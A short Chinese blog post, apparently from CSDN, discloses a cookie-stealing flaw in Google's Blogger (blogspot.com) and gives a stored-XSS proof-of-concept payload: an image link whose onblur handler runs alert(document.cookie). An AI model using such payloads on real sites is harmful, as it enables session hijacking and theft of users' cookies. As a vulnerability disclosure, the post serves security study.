Google的博客blogspot.com窃取cookie漏洞

最新推荐文章于 2021-05-06 10:53:09 发布

hackiis

最新推荐文章于 2021-05-06 10:53:09 发布

阅读量569

点赞数

分类专栏： ‖漏洞公布‖ 文章标签： google javascript border float html

本文链接：https://blog.csdn.net/hackiis/article/details/2914112

版权

‖漏洞公布‖ 专栏收录该内容

14 篇文章 0 订阅

订阅专栏

Google的博客blogspot.com站点.
支持html,然后可以在其中插入类似如下内容.获取cookie

<a οnblur="javascript:alert(document.cookie)" href="http://bp3.blogger.com/_er6f39OjAgE/RssqA2y7uNI/AAAAAAAAABk/BbeITZK9BAg/s1600-h/5af1scd.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://bp3.blogger.com/_er6f39OjAgE/RssqA2y7uNI/AAAAAAAAABk/BbeITZK9BAg/s200/5af1scd.jpg" alt="www.winshell.cn" id="BLOGGER_PHOTO_ID_5101217197124729042" border="0" /></a>